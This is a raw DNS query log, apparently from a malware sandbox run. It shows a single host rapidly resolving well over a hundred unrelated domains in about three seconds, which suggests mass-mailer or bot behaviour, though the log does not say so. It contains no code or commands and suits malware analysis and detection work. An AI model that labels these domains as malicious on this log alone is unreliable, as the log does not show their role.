Jul 27, 2023 21:54:31.502346992 CEST	192.168.2.4	8.8.8.8	0x1ad5	Standard query (0)	fifa-ews.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.503798962 CEST	192.168.2.4	8.8.8.8	0x65d3	Standard query (0)	missnue.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.506206036 CEST	192.168.2.4	8.8.8.8	0x5d2f	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.507445097 CEST	192.168.2.4	8.8.8.8	0x5d1b	Standard query (0)	sgk.home.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.509218931 CEST	192.168.2.4	8.8.8.8	0x70fd	Standard query (0)	ludea.cz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.509665012 CEST	192.168.2.4	8.8.8.8	0x4f5d	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.518343925 CEST	192.168.2.4	8.8.8.8	0x4c86	Standard query (0)	adventist.ro	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.519493103 CEST	192.168.2.4	8.8.8.8	0x7fb4	Standard query (0)	k-nikko.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.520421982 CEST	192.168.2.4	8.8.8.8	0xfd63	Standard query (0)	calvinly.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.522552967 CEST	192.168.2.4	8.8.8.8	0x4647	Standard query (0)	kayoaiba.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.526268005 CEST	192.168.2.4	8.8.8.8	0x43c2	Standard query (0)	nels.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.531071901 CEST	192.168.2.4	8.8.8.8	0x4b7d	Standard query (0)	ciicsc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.531955004 CEST	192.168.2.4	8.8.8.8	0x3975	Standard query (0)	amic.at	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.533579111 CEST	192.168.2.4	8.8.8.8	0xfef5	Standard query (0)	vivastay.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.535346985 CEST	192.168.2.4	8.8.8.8	0x19d4	Standard query (0)	gcss.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.540039062 CEST	192.168.2.4	8.8.8.8	0xa432	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.540787935 CEST	192.168.2.4	8.8.8.8	0x7f6e	Standard query (0)	cutchie.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.542778969 CEST	192.168.2.4	8.8.8.8	0xc4f6	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.546740055 CEST	192.168.2.4	8.8.8.8	0xad29	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.554600000 CEST	192.168.2.4	8.8.8.8	0x91be	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.587719917 CEST	192.168.2.4	8.8.8.8	0x13e0	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.594274044 CEST	192.168.2.4	8.8.8.8	0x6364	Standard query (0)	yoruksut.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.594501972 CEST	192.168.2.4	8.8.8.8	0x1538	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.597254038 CEST	192.168.2.4	8.8.8.8	0x400e	Standard query (0)	zugseil.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.600471973 CEST	192.168.2.4	8.8.8.8	0x65c8	Standard query (0)	awal.ws	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.604310036 CEST	192.168.2.4	8.8.8.8	0xb3e4	Standard query (0)	sokuwan.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.605766058 CEST	192.168.2.4	8.8.8.8	0xac92	Standard query (0)	ciicsc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.613063097 CEST	192.168.2.4	8.8.8.8	0x8fb0	Standard query (0)	gphpedit.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.619535923 CEST	192.168.2.4	8.8.8.8	0xec18	Standard query (0)	camamat.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.621855974 CEST	192.168.2.4	8.8.8.8	0x5ff0	Standard query (0)	tozzhin.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.632916927 CEST	192.168.2.4	8.8.8.8	0x7941	Standard query (0)	t-trust.jp	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.650358915 CEST	192.168.2.4	8.8.8.8	0xfa3f	Standard query (0)	jabian.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.654377937 CEST	192.168.2.4	8.8.8.8	0xf001	Standard query (0)	yhsll.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.662249088 CEST	192.168.2.4	8.8.8.8	0x408a	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.674113035 CEST	192.168.2.4	8.8.8.8	0xa1be	Standard query (0)	mikihan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.677824974 CEST	192.168.2.4	8.8.8.8	0xc41	Standard query (0)	ciicsc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.678875923 CEST	192.168.2.4	8.8.8.8	0x8e47	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.686161041 CEST	192.168.2.4	8.8.8.8	0x9a45	Standard query (0)	keio-web.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.692245007 CEST	192.168.2.4	8.8.8.8	0xd1e8	Standard query (0)	shztm.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.703493118 CEST	192.168.2.4	8.8.8.8	0x8120	Standard query (0)	reproar.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.718307018 CEST	192.168.2.4	8.8.8.8	0xfe74	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.723148108 CEST	192.168.2.4	8.8.8.8	0x8c9b	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.740521908 CEST	192.168.2.4	8.8.8.8	0xfb99	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.754098892 CEST	192.168.2.4	8.8.8.8	0xab77	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.756601095 CEST	192.168.2.4	8.8.8.8	0xc771	Standard query (0)	vfcindia.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.770639896 CEST	192.168.2.4	8.8.8.8	0xcaae	Standard query (0)	refintl.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.778970003 CEST	192.168.2.4	8.8.8.8	0x4682	Standard query (0)	hbfuels.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.789565086 CEST	192.168.2.4	8.8.8.8	0x7e85	Standard query (0)	webavant.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.807862043 CEST	192.168.2.4	8.8.8.8	0x84b8	Standard query (0)	wahw.com.au	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.824101925 CEST	192.168.2.4	8.8.8.8	0x64f8	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.824522018 CEST	192.168.2.4	8.8.8.8	0x5d1b	Standard query (0)	shztm.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.836587906 CEST	192.168.2.4	8.8.8.8	0xa8a2	Standard query (0)	okashimo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.854211092 CEST	192.168.2.4	8.8.8.8	0x35a6	Standard query (0)	cyclad.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.854211092 CEST	192.168.2.4	8.8.8.8	0x37f	Standard query (0)	fogra.com.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.885248899 CEST	192.168.2.4	8.8.8.8	0xdf3f	Standard query (0)	plaske.ua	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.900918961 CEST	192.168.2.4	8.8.8.8	0x65ee	Standard query (0)	rappich.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.902815104 CEST	192.168.2.4	8.8.8.8	0xf311	Standard query (0)	impexnc.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.915146112 CEST	192.168.2.4	8.8.8.8	0xec99	Standard query (0)	gbmfg.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.935456991 CEST	192.168.2.4	8.8.8.8	0xf032	Standard query (0)	top1oil.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.982307911 CEST	192.168.2.4	8.8.8.8	0x7777	Standard query (0)	awfraser.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.993113995 CEST	192.168.2.4	8.8.8.8	0xf0dc	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:31.993113995 CEST	192.168.2.4	8.8.8.8	0x15cb	Standard query (0)	mackusick.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.025912046 CEST	192.168.2.4	8.8.8.8	0x508f	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.048151016 CEST	192.168.2.4	8.8.8.8	0xbfe2	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.058856010 CEST	192.168.2.4	8.8.8.8	0xe10e	Standard query (0)	techtrans.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.065016031 CEST	192.168.2.4	8.8.8.8	0xc238	Standard query (0)	onzcda.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.066665888 CEST	192.168.2.4	8.8.8.8	0x8754	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.086153984 CEST	192.168.2.4	8.8.8.8	0x6e9b	Standard query (0)	muhr-soehne.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.090331078 CEST	192.168.2.4	8.8.8.8	0xda90	Standard query (0)	plaske.ua	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.151427984 CEST	192.168.2.4	8.8.8.8	0x1cbc	Standard query (0)	biosolve.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.172023058 CEST	192.168.2.4	8.8.8.8	0x730	Standard query (0)	ifesnet.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.182210922 CEST	192.168.2.4	8.8.8.8	0xa5df	Standard query (0)	nettlinx.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.184427977 CEST	192.168.2.4	8.8.8.8	0x2cf9	Standard query (0)	strazynski.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.184478998 CEST	192.168.2.4	8.8.8.8	0x2f3d	Standard query (0)	okashimo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.185111046 CEST	192.168.2.4	8.8.8.8	0xad72	Standard query (0)	vivastay.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.188936949 CEST	192.168.2.4	8.8.8.8	0x2a5	Standard query (0)	www.muhr-soehne.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.227166891 CEST	192.168.2.4	8.8.8.8	0xe5f5	Standard query (0)	kustnara.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.240641117 CEST	192.168.2.4	8.8.8.8	0xcbe5	Standard query (0)	captlfix.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.242264032 CEST	192.168.2.4	8.8.8.8	0x606f	Standard query (0)	notis.ru	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.245393038 CEST	192.168.2.4	8.8.8.8	0x6964	Standard query (0)	riwn.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.260000944 CEST	192.168.2.4	8.8.8.8	0x17b7	Standard query (0)	kayoaiba.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.274857998 CEST	192.168.2.4	8.8.8.8	0x1037	Standard query (0)	orlyhotel.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.291121006 CEST	192.168.2.4	8.8.8.8	0x61be	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.292346954 CEST	192.168.2.4	8.8.8.8	0x9	Standard query (0)	nrsi.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.317889929 CEST	192.168.2.4	8.8.8.8	0x7661	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.333568096 CEST	192.168.2.4	8.8.8.8	0x3af3	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.341485977 CEST	192.168.2.4	8.8.8.8	0xb4b2	Standard query (0)	workplus.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.341485977 CEST	192.168.2.4	8.8.8.8	0x1bf2	Standard query (0)	anteph.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.347369909 CEST	192.168.2.4	8.8.8.8	0x3852	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.369077921 CEST	192.168.2.4	8.8.8.8	0x2a63	Standard query (0)	coxkitchensandbaths.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.383374929 CEST	192.168.2.4	8.8.8.8	0xb157	Standard query (0)	anteph.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.403939009 CEST	192.168.2.4	8.8.8.8	0xfee2	Standard query (0)	cbras.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.443821907 CEST	192.168.2.4	8.8.8.8	0x723e	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.450645924 CEST	192.168.2.4	8.8.8.8	0x395f	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.461013079 CEST	192.168.2.4	8.8.8.8	0x774b	Standard query (0)	t-trust.jp	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.462187052 CEST	192.168.2.4	8.8.8.8	0x1f20	Standard query (0)	sigtoa.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.480532885 CEST	192.168.2.4	8.8.8.8	0x87e9	Standard query (0)	a-domani.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.480710983 CEST	192.168.2.4	8.8.8.8	0xb00d	Standard query (0)	slower.it	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.494896889 CEST	192.168.2.4	8.8.8.8	0xb0af	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.494898081 CEST	192.168.2.4	8.8.8.8	0x4f	Standard query (0)	hazmatt.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.536195040 CEST	192.168.2.4	8.8.8.8	0xc4f6	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.564627886 CEST	192.168.2.4	8.8.8.8	0x1cbd	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.564627886 CEST	192.168.2.4	8.8.8.8	0x6e14	Standard query (0)	flamingorecordings.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.565002918 CEST	192.168.2.4	8.8.8.8	0xec48	Standard query (0)	anteph.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.596647024 CEST	192.168.2.4	8.8.8.8	0x4168	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.602663994 CEST	192.168.2.4	8.8.8.8	0x35d2	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.633630991 CEST	192.168.2.4	8.8.8.8	0xf1aa	Standard query (0)	toundo.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.633631945 CEST	192.168.2.4	8.8.8.8	0xb432	Standard query (0)	shesfit.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.665730953 CEST	192.168.2.4	8.8.8.8	0xe2db	Standard query (0)	metaforacom.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.666096926 CEST	192.168.2.4	8.8.8.8	0x8d5d	Standard query (0)	komie.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.719149113 CEST	192.168.2.4	8.8.8.8	0x7e1	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.723156929 CEST	192.168.2.4	8.8.8.8	0x5e2d	Standard query (0)	dayvo.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.727636099 CEST	192.168.2.4	8.8.8.8	0x552f	Standard query (0)	infotech.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.736035109 CEST	192.168.2.4	8.8.8.8	0x6ce8	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.740923882 CEST	192.168.2.4	8.8.8.8	0xf432	Standard query (0)	avc.com.sa	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.760344982 CEST	192.168.2.4	8.8.8.8	0xde15	Standard query (0)	magicomm.co.uk	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.761964083 CEST	192.168.2.4	8.8.8.8	0x2166	Standard query (0)	bount.com.tw	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.762454987 CEST	192.168.2.4	8.8.8.8	0xe1f5	Standard query (0)	yhsll.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.766895056 CEST	192.168.2.4	8.8.8.8	0x926d	Standard query (0)	multip.hu	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.802417040 CEST	192.168.2.4	8.8.8.8	0xd85b	Standard query (0)	tabbles.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.860367060 CEST	192.168.2.4	8.8.8.8	0x1f1c	Standard query (0)	clinicasanluis.com.co	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.866440058 CEST	192.168.2.4	8.8.8.8	0xa7ea	Standard query (0)	canasil.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.868299961 CEST	192.168.2.4	8.8.8.8	0x8dbe	Standard query (0)	ludea.cz	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.871997118 CEST	192.168.2.4	8.8.8.8	0xb45b	Standard query (0)	cjborden.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.887258053 CEST	192.168.2.4	8.8.8.8	0x9441	Standard query (0)	wantapc.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.934581995 CEST	192.168.2.4	8.8.8.8	0xa941	Standard query (0)	jsaps.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:32.946285963 CEST	192.168.2.4	8.8.8.8	0x404d	Standard query (0)	mackusick.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.008835077 CEST	192.168.2.4	8.8.8.8	0xaf11	Standard query (0)	angework.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.043562889 CEST	192.168.2.4	8.8.8.8	0xd310	Standard query (0)	dbnet.at	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.044073105 CEST	192.168.2.4	8.8.8.8	0x3dd6	Standard query (0)	simetar.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.071266890 CEST	192.168.2.4	8.8.8.8	0xb71	Standard query (0)	isom.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.086431026 CEST	192.168.2.4	8.8.8.8	0xcc1	Standard query (0)	roewer.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.107836008 CEST	192.168.2.4	8.8.8.8	0xa3cf	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.119236946 CEST	192.168.2.4	8.8.8.8	0xec81	Standard query (0)	mjrcpas.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.122669935 CEST	192.168.2.4	8.8.8.8	0xb051	Standard query (0)	dspears.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.134119034 CEST	192.168.2.4	8.8.8.8	0x1541	Standard query (0)	ramkome.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.145859957 CEST	192.168.2.4	8.8.8.8	0x4c67	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.182261944 CEST	192.168.2.4	8.8.8.8	0x6730	Standard query (0)	plaske.ua	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.215675116 CEST	192.168.2.4	8.8.8.8	0x928e	Standard query (0)	nolaoig.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.227310896 CEST	192.168.2.4	8.8.8.8	0x2e40	Standard query (0)	insia.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.243506908 CEST	192.168.2.4	8.8.8.8	0xfe36	Standard query (0)	adeesa.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.275732040 CEST	192.168.2.4	8.8.8.8	0x5218	Standard query (0)	ccrsi.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.299550056 CEST	192.168.2.4	8.8.8.8	0x6cfb	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.323256016 CEST	192.168.2.4	8.8.8.8	0xff77	Standard query (0)	indonesiamedia.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.349370003 CEST	192.168.2.4	8.8.8.8	0x3af3	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.414985895 CEST	192.168.2.4	8.8.8.8	0x1029	Standard query (0)	pleszew.policja.gov.pl	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.419656992 CEST	192.168.2.4	8.8.8.8	0xd2f8	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.430953026 CEST	192.168.2.4	8.8.8.8	0x3598	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.448554039 CEST	192.168.2.4	8.8.8.8	0x96f2	Standard query (0)	skypearl.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.458473921 CEST	192.168.2.4	8.8.8.8	0x723e	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.462475061 CEST	192.168.2.4	8.8.8.8	0x1668	Standard query (0)	shesfit.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.463953972 CEST	192.168.2.4	8.8.8.8	0xd252	Standard query (0)	forbin.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.464921951 CEST	192.168.2.4	8.8.8.8	0xf4cf	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.495609045 CEST	192.168.2.4	8.8.8.8	0x1969	Standard query (0)	samtv.ro	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.509172916 CEST	192.168.2.4	8.8.8.8	0xe972	Standard query (0)	sinwal.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.542941093 CEST	192.168.2.4	8.8.8.8	0x228b	Standard query (0)	amba-tc.si	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.593717098 CEST	192.168.2.4	8.8.8.8	0x8e48	Standard query (0)	amba-tc.si	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.602709055 CEST	192.168.2.4	8.8.8.8	0xf882	Standard query (0)	hyab.se	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.629240990 CEST	192.168.2.4	8.8.8.8	0xabe8	Standard query (0)	amba-tc.si	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.703094006 CEST	192.168.2.4	8.8.8.8	0xe93d	Standard query (0)	nts-web.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.729516983 CEST	192.168.2.4	8.8.8.8	0x9650	Standard query (0)	pers.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.731358051 CEST	192.168.2.4	8.8.8.8	0x864c	Standard query (0)	jnf.at	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.759320021 CEST	192.168.2.4	8.8.8.8	0x99d0	Standard query (0)	4locals.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.808084965 CEST	192.168.2.4	8.8.8.8	0x4f5b	Standard query (0)	diamir.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.811778069 CEST	192.168.2.4	8.8.8.8	0x68df	Standard query (0)	nekono.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.901640892 CEST	192.168.2.4	8.8.8.8	0xf638	Standard query (0)	dhh.la.gov	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.915532112 CEST	192.168.2.4	8.8.8.8	0x4f1d	Standard query (0)	redgiga.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.915824890 CEST	192.168.2.4	8.8.8.8	0xef13	Standard query (0)	nlcv.bas.bg	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.937865973 CEST	192.168.2.4	8.8.8.8	0x37fb	Standard query (0)	hyab.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.942219973 CEST	192.168.2.4	8.8.8.8	0x4704	Standard query (0)	4locals.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.970050097 CEST	192.168.2.4	8.8.8.8	0x62be	Standard query (0)	roewer.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.972363949 CEST	192.168.2.4	8.8.8.8	0x4399	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.979866982 CEST	192.168.2.4	8.8.8.8	0xfaac	Standard query (0)	wvs-net.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.988118887 CEST	192.168.2.4	8.8.8.8	0x33fb	Standard query (0)	www.diamir.de	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.995312929 CEST	192.168.2.4	8.8.8.8	0x4150	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:33.998359919 CEST	192.168.2.4	8.8.8.8	0xaa53	Standard query (0)	cbaben.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.020339966 CEST	192.168.2.4	8.8.8.8	0xce6	Standard query (0)	arowines.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.114552975 CEST	192.168.2.4	8.8.8.8	0xa3cf	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.139738083 CEST	192.168.2.4	8.8.8.8	0xc9a9	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.141835928 CEST	192.168.2.4	8.8.8.8	0x9093	Standard query (0)	envogen.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.151616096 CEST	192.168.2.4	8.8.8.8	0x4381	Standard query (0)	pccj.net	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.169815063 CEST	192.168.2.4	8.8.8.8	0xa3c0	Standard query (0)	kavram.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.181782961 CEST	192.168.2.4	8.8.8.8	0xf6a0	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.181967974 CEST	192.168.2.4	8.8.8.8	0x43b3	Standard query (0)	nolaoig.org	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.230788946 CEST	192.168.2.4	8.8.8.8	0x84a0	Standard query (0)	host.do	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.232752085 CEST	192.168.2.4	8.8.8.8	0xfd30	Standard query (0)	awal.ws	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.235125065 CEST	192.168.2.4	8.8.8.8	0x660	Standard query (0)	epc.com.au	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.272918940 CEST	192.168.2.4	8.8.8.8	0x3c5	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.302758932 CEST	192.168.2.4	8.8.8.8	0x6cfb	Standard query (0)	someikan.com	A (IP address)	IN (0x0001)	false
Jul 27, 2023 21:54:34.323688984 CEST	192.168.2.4	8.8.8.8	0xe921	Standard query (0)	603888.com	A (IP address)	IN (0x0001)	false
